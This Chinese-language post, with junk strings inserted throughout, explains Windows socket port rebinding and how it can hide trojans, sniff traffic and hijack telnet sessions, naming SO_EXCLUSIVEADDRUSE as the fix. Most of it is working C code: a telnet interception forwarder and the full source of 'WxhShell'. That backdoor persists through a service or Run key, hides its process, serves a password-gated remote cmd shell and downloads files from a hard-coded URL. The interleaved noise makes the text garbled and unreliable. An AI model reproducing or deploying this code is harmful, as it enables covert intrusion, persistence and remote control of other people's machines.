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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *=^_K`y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6tzZ j:yq t~sW]<qjp saddr.sin_family = AF_INET; F[RhuNa&'W >=C)\Yfu) saddr.sin_addr.s_addr = htonl(INADDR_ANY); tQo"$ JN} GlQ=M )E bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "9kEqz4a -}4 H'%Z(i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w>/KQ> \" Lm-}W "7 这意味着什么?意味着可以进行如下的攻击: <0v'IHlZ8 4zJ9bF4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6Oo'&3@ IK~ur\3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RDzL@xCcn -lb}}z+/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Og30&a!~F .u
W_(Rqg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1;ZEuO g6
7* Bs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #?}Y~Oe ;h/Y9uYn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *zz/U
(9D ',juZ[]_{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ag|d_;
"thfd"- #include tH>%`: #include Jv7 @[<$ #include %\:.rs^ #include 4~Lw:o1a DWORD WINAPI ClientThread(LPVOID lpParam); mN@0lfk; int main() Pw$'TE} { Kq-y1h]7H WORD wVersionRequested; YdC:P#
Nf DWORD ret; <@;e N& WSADATA wsaData; CZwZ#WV6 BOOL val; 0Apvuf1 SOCKADDR_IN saddr; 0FEb[+N SOCKADDR_IN scaddr; Hej0l^ int err; #-e3m/> SOCKET s; ~j F5%Gu SOCKET sc; 63:ZDQ int caddsize; [DjdR_9*I HANDLE mt; J
fsCkS DWORD tid; r}*2~;:pW wVersionRequested = MAKEWORD( 2, 2 ); x`C; err = WSAStartup( wVersionRequested, &wsaData ); Q?[k>fu0 if ( err != 0 ) { BMFpkK9| printf("error!WSAStartup failed!\n"); {wA@5+[ return -1; wond>m
3 } 3y 0`G8P'h saddr.sin_family = AF_INET; {d^&$~ Z(Q?epyT //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v]_{oj_(- 0 w@~ynW[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AQ+w%>G6 saddr.sin_port = htons(23); 7cvbYP\<lv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <=19KSGFt { >@ge[MuS printf("error!socket failed!\n"); 3R4-MK return -1; S~Nx;sB } /*D]4AK val = TRUE; eJ7A.O //SO_REUSEADDR选项就是可以实现端口重绑定的 `'
6]Z* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y\ 9uR!0 { UN,@K9 printf("error!setsockopt failed!\n"); LZ\}Kgi(!T return -1; `<\AnhNW]I } .F
3v) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A"S}) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8 wC3}U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O \lt!p3F a*%>H(x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D&N5) { Pf@8C{I ret=GetLastError(); v*3ezf\ printf("error!bind failed!\n"); Z8nNZ<k return -1; :X2B+}6_& } 5QMu=/ listen(s,2); VN`2bp>5I while(1) jOE b1 { M;3uG/E\ caddsize = sizeof(scaddr); F=d#$-yg //接受连接请求 r6MQ|@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5=Gq
d4&* if(sc!=INVALID_SOCKET) ]j_S2lt { SV8rZWJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ybd){Je"z if(mt==NULL) WR~uy|mX { LFg<j1Gk` printf("Thread Creat Failed!\n"); $IB@|n break; 1 ht4LRFi } Isoqs(Oi } <7)Vj*VxC CloseHandle(mt); JUwP<C[ } `2S%l,>)# closesocket(s); p~=%CG^5 WSACleanup(); Kw925@W return 0;
`db++Z'C } @c7 On)sy DWORD WINAPI ClientThread(LPVOID lpParam) ,'82;oP4 { u5T\_0 SOCKET ss = (SOCKET)lpParam; D2?~03c
SOCKET sc; n6ud;jN| unsigned char buf[4096]; #T
!YFMh; SOCKADDR_IN saddr; F"a,[i,[W long num; tTQ>pg1{qh DWORD val; x ?Q;o+2v DWORD ret; +J.^JXyp0 //如果是隐藏端口应用的话,可以在此处加一些判断 =EV8~hMyqh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 B;?a. 81~ saddr.sin_family = AF_INET; NaAq^F U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p[g!LD saddr.sin_port = htons(23); M|Z]B<_x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H(n_g
QAX { :Wb+&|dU printf("error!socket failed!\n"); PksHq77 return -1; _K/h/!\n } !cWKY\lpv val = 100; Q.vtU%T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t%N#Yh! { nA%-< ret = GetLastError(); #?8'Z/1) return -1; gzl_
"j } NV*t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [&)9|EV { K$f~Fft ret = GetLastError(); lC^q}Bh: return -1; 2b3x|9o8 } <3ovCqa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L(AY)gB { Nu|?s- printf("error!socket connect failed!\n"); lD 9'^J closesocket(sc); <qv:7@ closesocket(ss); H-0deJ[> return -1; se7_:0+w } O+z-6:` while(1) "64pVaT4 { =p^*y-z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E)>6}0P //如果是嗅探内容的话,可以再此处进行内容分析和记录 2Ni2Gkf@
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [Zgy,j\\ num = recv(ss,buf,4096,0); =C5[75z#+ if(num>0) $+V{2k4X, send(sc,buf,num,0); vmW4a3 else if(num==0) 8fZ\})t break; #YjV3O5< num = recv(sc,buf,4096,0); !"p,9 if(num>0) vhKeW(z send(ss,buf,num,0); &W|'rA'r else if(num==0) Gvj@?62 break; /T*{Mo{B } M.H4ud closesocket(ss); evtn/.kDR closesocket(sc); a08B8 return 0 ; S.M< ( } !tX14O~B- lzl4pnj 'p Z~3q ========================================================== /WMG)#kw' @{XN}tWDOp 下边附上一个代码,,WXhSHELL 'Y>!xm \h_hd%'G ========================================================== aLhTaB-va ,cgC_% #include "stdafx.h" LOe!qt\& aLq=%fsV) #include <stdio.h> [y>Q3UqN #include <string.h> Gf]oRNP,N #include <windows.h> E39:}_IV #include <winsock2.h> rPr#V1}1a #include <winsvc.h> 7Zr jU{ #include <urlmon.h> 5F&i/8Ib O(WFjmHx #pragma comment (lib, "Ws2_32.lib") f{^n<\Jh #pragma comment (lib, "urlmon.lib") h_y<A@[P} Gs*ea'T) #define MAX_USER 100 // 最大客户端连接数 zz02F+H$Y #define BUF_SOCK 200 // sock buffer j>0S3P, #define KEY_BUFF 255 // 输入 buffer Na3tK}x C|z`hNp #define REBOOT 0 // 重启 \^':(Gu4o #define SHUTDOWN 1 // 关机 lywcT! < |(y6O5Y. #define DEF_PORT 5000 // 监听端口 V<ODt% >o'D/'>ku #define REG_LEN 16 // 注册表键长度 /j3oHi$ #define SVC_LEN 80 // NT服务名长度 l 4~'CLi (Grj_p6O // 从dll定义API mb\vHu*53 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eb.`Q+Gb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qxd{c8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &+%CC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '90B),c{ @LwhQ // wxhshell配置信息 X3a:*1N struct WSCFG { ,0#OA*0B int ws_port; // 监听端口 F(SeD)ml char ws_passstr[REG_LEN]; // 口令 jzzVZ%t int ws_autoins; // 安装标记, 1=yes 0=no -pkeEuwv{ char ws_regname[REG_LEN]; // 注册表键名 j:{<
char ws_svcname[REG_LEN]; // 服务名 E7*1QR{Q char ws_svcdisp[SVC_LEN]; // 服务显示名 r("7
X2f char ws_svcdesc[SVC_LEN]; // 服务描述信息 i-niRu< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t7)Y@gRy int ws_downexe; // 下载执行标记, 1=yes 0=no VFG)|Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" lzuPE,h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,QG,tf? 4b7}Sr=` }; [vV-0Lx" FVF:1DT // default Wxhshell configuration NK"y@)%0 struct WSCFG wscfg={DEF_PORT, a#G7pZX/I} "xuhuanlingzhe", 6p1TI1( 1, fI"`[cA"] "Wxhshell", gdkO|x "Wxhshell", YK"({Z>U "WxhShell Service", D(Xv shQ "Wrsky Windows CmdShell Service", mP:mzmUw "Please Input Your Password: ", @6t3Us~/ 1, $,6= .YuY " http://www.wrsky.com/wxhshell.exe", C'zMOR6c "Wxhshell.exe" +.>O%pNj }; >@ EQarD gB
kb0 // 消息定义模块 Q[~O`Lz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %\5y6 char *msg_ws_prompt="\n\r? for help\n\r#>"; 1b_->_9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Dw.>4bA. char *msg_ws_ext="\n\rExit."; oD"fRBS+$ char *msg_ws_end="\n\rQuit."; 's&Vg09D, char *msg_ws_boot="\n\rReboot..."; !q7M+j4 char *msg_ws_poff="\n\rShutdown..."; @?e;Jp9 char *msg_ws_down="\n\rSave to "; QjZ}*p j-A
S {w char *msg_ws_err="\n\rErr!"; 4&`66\p; char *msg_ws_ok="\n\rOK!"; 8mCr6$|% b_wb!_ char ExeFile[MAX_PATH]; >6<g5ps.n int nUser = 0; MfYe @;m HANDLE handles[MAX_USER]; Ulktd^A\ int OsIsNt; :mg#&MZj< A;Zg: SERVICE_STATUS serviceStatus; !gT6So SERVICE_STATUS_HANDLE hServiceStatusHandle; - MBK/ t^h>~o'\ // 函数声明 ?V7[,I1? int Install(void); ;M'R/JlUN int Uninstall(void); <@zOdW|{: int DownloadFile(char *sURL, SOCKET wsh); )hQ`l d7B int Boot(int flag); +<3tv&" void HideProc(void); i]1[eGF int GetOsVer(void); @aj"12 int Wxhshell(SOCKET wsl); H;$w^Tr void TalkWithClient(void *cs); 071wo7 int CmdShell(SOCKET sock); <|m"Q!f int StartFromService(void); Y-,#3%bT;; int StartWxhshell(LPSTR lpCmdLine);
!N)oi$T% `qfVgT=2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LW2Sko?Yo VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1)
@Wcc. 4vy!'r@ // 数据结构和表定义 }4bwLO SERVICE_TABLE_ENTRY DispatchTable[] = jMw;`yh { G1P m!CM= {wscfg.ws_svcname, NTServiceMain}, {AcKBib {NULL, NULL} 0~FX!1; }; 8:0l5cZE <:%Iq13D // 自我安装 d<Z`)hI{K int Install(void) >iG` { _`;6'}]s char svExeFile[MAX_PATH]; F<^,j7@ HKEY key; ?j $z[_K strcpy(svExeFile,ExeFile); )@Bt[mfrVD #}B~V3UD // 如果是win9x系统,修改注册表设为自启动 b$B5sKQ if(!OsIsNt) { 0?sIod if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %n-LDn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $?'z%a{ RegCloseKey(key); p?dMa_g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YjsaTdZ!& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -gC=%0sp\ RegCloseKey(key); GLk7#Y return 0; {N
_v4}) } <xc"y|7X } 38 B\ \ } F1/f:<} else { [#)$BXG~y N"2@yaN // 如果是NT以上系统,安装为系统服务 8LkC/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .11iulQ if (schSCManager!=0) U2SxRFs >
{ HPU7
` b4 SC_HANDLE schService = CreateService v3~,1)#aI ( 6o{anHBB schSCManager, e"2 wXd_} wscfg.ws_svcname, Gq0~&6 wscfg.ws_svcdisp, ,Q}/#/ SERVICE_ALL_ACCESS, 7OW;omT` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N;ssO, SERVICE_AUTO_START, X|8Yz3:o SERVICE_ERROR_NORMAL, /#Ew{RvW' svExeFile, o'yR^` NULL, ty7a&>G NULL, Ar>Om!]=v NULL, ;E##bdSCA NULL, wd1*wt NULL fV;&Ag*ZiV ); BT`6v+,h7k if (schService!=0) VQLo
vt" { =D3Y
q? CloseServiceHandle(schService); 3`="4 CloseServiceHandle(schSCManager); g]d@X_ &D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I.\u2B/? strcat(svExeFile,wscfg.ws_svcname); \yM[?/< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iRPd=) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @++
X H} RegCloseKey(key); SX*os$ return 0; _ sM$O> } *A8CJ } N8m^h:b CloseServiceHandle(schSCManager); XrBLw}lD`N } (o e;pa } FJ#V"|} _|~2i1Ms, return 1; LsBDfp5/ } drN^-e 8zZR%fZ // 自我卸载 lOZ.{0{f, int Uninstall(void) A0&~U0*(~ { V+( HKEY key; )_+#yaC c) 1m4SB@ if(!OsIsNt) { Ue-HO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XFd[>U<X RegDeleteValue(key,wscfg.ws_regname); sRY: 7>eg RegCloseKey(key); lr^- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YBg\L$|n RegDeleteValue(key,wscfg.ws_regname); ^hZwm8G RegCloseKey(key); KWXJ[#E<W return 0; GDOaZi } %_A1WC } nA+[[(6 } S:
/ShT else { l*%?C* |=GRPvvi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pY-izML if (schSCManager!=0) Ry/NfF= { ^S, "iV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #<se0CJB if (schService!=0) \'1%"JWK
{ pz-`Tp w if(DeleteService(schService)!=0) { s-k-|4 CloseServiceHandle(schService); eW\_9E)cY CloseServiceHandle(schSCManager); ir/ 2/
E return 0; ~\XB' } )[zyvU. J3 CloseServiceHandle(schService); )w/f 'fq } zRsA[F# CloseServiceHandle(schSCManager); orTTjV]_m } -6)ywq^{z } 9lny[ {9 )Cx8?\/c=x return 1; o@;w!' } hWDgMmo7 V+D "_ // 从指定url下载文件 wX|]8f2Z int DownloadFile(char *sURL, SOCKET wsh) $\a;?>WA" { 0&EX-DbV HRESULT hr; n>iPAD char seps[]= "/"; +R*4`F:QJQ char *token; j*+r`CX char *file; r$0=b
- char myURL[MAX_PATH]; u1nv'\* char myFILE[MAX_PATH]; c~c3; <5L!.Ci strcpy(myURL,sURL); u5idH),< token=strtok(myURL,seps); SHwl^qVk[ while(token!=NULL) Yh"Z@D[d { 9|'bPOKe file=token; VgoQz]z token=strtok(NULL,seps); %/UQ0d~b } KAUYE^ 9:BGA/? GetCurrentDirectory(MAX_PATH,myFILE); "~FXmKcX strcat(myFILE, "\\"); cYGZZC8 |K strcat(myFILE, file); ]qpcA6%a| send(wsh,myFILE,strlen(myFILE),0); ;tKL/eI send(wsh,"...",3,0); W#??fae hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8vUP{f6 { if(hr==S_OK) UayRT#}] return 0; 5^%^8o else O<%U*:B return 1; 0<>iMr D O;,k~ } sIELkF?. {CGk5` g~ // 系统电源模块 ?xeq*<qfI int Boot(int flag) 2TAy'BB;) { _q8s 7H HANDLE hToken; /M'b137 TOKEN_PRIVILEGES tkp; e3[QM W>@+H"pZ if(OsIsNt) { =`/X
Wem OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r#{lpF,3Ib LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V-X n&s tkp.PrivilegeCount = 1; ^?juY}rZ=| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WUqAPN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J(l6(+8 if(flag==REBOOT) { @MN>ye'T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 06=eA0JI return 0; s)To# } 1pz6e8p:m else { fc!%W#- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4CN8>J'- return 0; zu;Yw=cM) } ^_<pc|1 } IA+>dr
else { E!Ng=}G&_ if(flag==REBOOT) { i[YYR,X| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V<d'psb6 return 0; cBm3|@7 } =jG3wf* else { |E?%Cj^W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) neZ_TT/3K return 0; )p!dqlK } -<<!eH } i!Ne<Q 4Uwt--KtFh return 1; (+Uo;)~!YC } o/&:w z %/>_o{"hw // win9x进程隐藏模块 bUWtlg void HideProc(void) >#8`Zy:/Y { 7unu-P<C C6,Bqlio HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -><_J4 if ( hKernel != NULL ) S)[2\Z{**T { U'#{v7u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j#~4JGZt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i:zA( FreeLibrary(hKernel); gr-%9=Uq } |a"(Ds2U Rd#,Tl\ return; oiR`\uY } $23R%8j ?Ts
Z_ // 获取操作系统版本 ry
U0x int GetOsVer(void) P089Mh9 { VLOyUt~O# OSVERSIONINFO winfo; |0Zj/1<$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VSSiuo'5w GetVersionEx(&winfo); nF//y} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JE?XZp@V return 1; \tQi7yj4 else "5YsBih return 0; #p[=iP } \ KPz ,Y&kW'2 // 客户端句柄模块 I/@Xr int Wxhshell(SOCKET wsl) E*'O)) { #:{u1sq; SOCKET wsh; &0o&!P8CB struct sockaddr_in client; w!xSYh') DWORD myID; J5l:_hZUV jwE<}y
I while(nUser<MAX_USER) xW^<.@Agm { oZzE.Q1T int nSize=sizeof(client); KT|$vw2b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cq!>B{ if(wsh==INVALID_SOCKET) return 1; D #A9 */qv} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +6TKk~0e^ if(handles[nUser]==0) 5\a5^FK~ closesocket(wsh); G[wa,j^hu else !WIL|\jbh nUser++; lvFHr}W } Db3tI# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zwq_&cJK ,v^it+Jc' return 0; ]w')~yk } _=cMa's FB</~
g // 关闭 socket ZBnf?fU void CloseIt(SOCKET wsh) [qb#>P2G3 { M2m@N-+R
closesocket(wsh); ",K6zALJ nUser--; w)}[)}T! ExitThread(0); %iX+" } H-S28%. E]e6a^J# // 客户端请求句柄 bZKK'd$I void TalkWithClient(void *cs) \dCdyl6V { 5^5h%~)} +^%F8GB SOCKET wsh=(SOCKET)cs; ,R]7{7$ char pwd[SVC_LEN]; UV:_5"- char cmd[KEY_BUFF]; yqAw7GaBN char chr[1]; (yZ^Y'0 int i,j; PmTA3aH {j(,Q qB;f while (nUser < MAX_USER) { 6ZF5f^M^ <CH7jbK if(wscfg.ws_passstr) { L1 J"_.=P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MbJV)*Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /]vg_&)= //ZeroMemory(pwd,KEY_BUFF); S3n$ i=0; &yP9vp=" while(i<SVC_LEN) { N2~Nc"L XCk \#(VSE // 设置超时 !e%#Zb
MIo fd_set FdRead; kdv>QZ struct timeval TimeOut; UyvFR@ FD_ZERO(&FdRead); Ddu$49{S: FD_SET(wsh,&FdRead); kgA')] TimeOut.tv_sec=8; ++FMkeHZ TimeOut.tv_usec=0; =*I>MgCJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _El=M0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '|6j1i0x Yr0%ZYfN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V%3K") pwd =chr[0]; vZk+NS< if(chr[0]==0xd || chr[0]==0xa) { 0/),ylCj pwd=0; WJhI6lu break; -\r*D#aHBN } VpD9!;S i++; NL~} } >
^D10Nf* ]ErAa"? // 如果是非法用户,关闭 socket :vm*miOF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B!9<c9/ P] } dhV=;'
_I75[W! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o^lKM?t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P,*R@N =0O`VSb while(1) { j'v2m 6/ xeZ,}YP) ZeroMemory(cmd,KEY_BUFF); IV!&jL 5z=;q!3 // 自动支持客户端 telnet标准 <b{ApsRJf j=0; }yXa1#3 while(j<KEY_BUFF) { k(V#{
YP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (?$}Vp cmd[j]=chr[0]; $n>.;CV if(chr[0]==0xa || chr[0]==0xd) { 2#p6.4h= cmd[j]=0;
rq+E"Uj? break; )x8Izn } /}(w{6C j++; <w8*Ly:L } 6 Rg{^E Rf qd(`~a // 下载文件 & [4Gv61 if(strstr(cmd,"http://")) { _g
3hXsA send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8 \%*4L' if(DownloadFile(cmd,wsh)) bluhiiATd send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Vk#w%EJ else cO_En`F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8NA2C.gOZ } )ASI41 else { Gi?" D/Bb)]9I switch(cmd[0]) { #6@7XC >e'6RZRLA // 帮助 ~
/]u72?rP case '?': { L%I@HB9-Q0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UoBmS5 break; S9U`-\L0 } MejM(o_kk // 安装 OZDnU6 case 'i': { F0])g if(Install()) wwk=*X-8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Z1b9.;., else A6pPx1-& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <4D.P2ct break; m.Yj{u8zX } &n91f // 卸载 c|IH|y case 'r': { Z!v)zH\ if(Uninstall()) gT?:zd=; send(wsh,msg_ws_err,strlen(msg_ws_err),0); auK*\Wjm? else e@w-4G(; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?@N-$j break; 2E;UHR } =c[9:&5Q // 显示 wxhshell 所在路径 Gdb6 U{ case 'p': { .\".}4qQ char svExeFile[MAX_PATH]; 1T!(M"'Ij strcpy(svExeFile,"\n\r"); tp7cc;0 strcat(svExeFile,ExeFile); vYcea send(wsh,svExeFile,strlen(svExeFile),0); 'QeCJ5p] break; ,l1A]Wx } 9jBP|I{xI // 重启 0X!A' case 'b': { 1-.6psE send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D!^&*Ia?2 if(Boot(REBOOT)) :Z3Tyj}4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ER;?[! else { fX^<H_1$G closesocket(wsh); *QH@c3vUe\ ExitThread(0); o/t^rY y }
_xjw: break; 6F
!B;D -Q } A]c'`Nf // 关机 @FO=0_;y case 'd': { )O;6S$z9Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ckykRqk} if(Boot(SHUTDOWN)) $3psSQQo send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14Y_ oH9 else { z10J8Ms' closesocket(wsh); 'I^3r~_ ExitThread(0); pMndyuoJl } bvzNur_ break; mmRxs1 0$ } rom`%qp^ // 获取shell oG{0{%*@ case 's': { lC|`DG-B CmdShell(wsh); ObnQ,x( closesocket(wsh);
z0!k ExitThread(0); b\^X1eo
break; =hL;Q@inb } ~XU%_Hz // 退出 y=.`:EB9b case 'x': { /u?ZwoTzY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v,,
.2UR4 CloseIt(wsh); ||yx?q6\h break; t}6QU } ^__';! e // 离开 N)CM^$(T| case 'q': { 2 8> send(wsh,msg_ws_end,strlen(msg_ws_end),0); uC$!|I closesocket(wsh); #$n >+lc WSACleanup(); gV~_m exit(1); ^hZZ5(</8P break; weX%S? } u]0{#wu;g } ]WFr5 } Z #uxa i=3~ h Zl // 提示信息 g&&- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `O,^oD4 } f(S9>c2 } AdU0 sZ+&c _"l2UDx return; f^Io:V\ } t9l]ie{"o. r_>]yp // shell模块句柄 T"IDCT'z int CmdShell(SOCKET sock) !1m7^3l7j { h8XoF1wuw STARTUPINFO si; BcXPgM!Xqz ZeroMemory(&si,sizeof(si)); pgUp1goAU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8f`r!/j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wHuz~y6 PROCESS_INFORMATION ProcessInfo; zy'e|92aO char cmdline[]="cmd"; E5iNuJj=f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1L;3e@G return 0; MZd?cS } LS:^K 7H])2:) // 自身启动模式 u!CcTE* int StartFromService(void) {q!GTO { [b :0j- typedef struct 3QhQpPk), { k^@dDLr" DWORD ExitStatus; #IvHxSo& DWORD PebBaseAddress; Yj"{aFK#u@ DWORD AffinityMask; nixIKOnjC DWORD BasePriority; >q&X#E<w ULONG UniqueProcessId; dD351!- ULONG InheritedFromUniqueProcessId; 0<FT=tKm } PROCESS_BASIC_INFORMATION; EQ [K nPW=m`jG PROCNTQSIP NtQueryInformationProcess; q x5jaa3 _s18^7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B=}s7$^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J.(mg
D <s=i5t
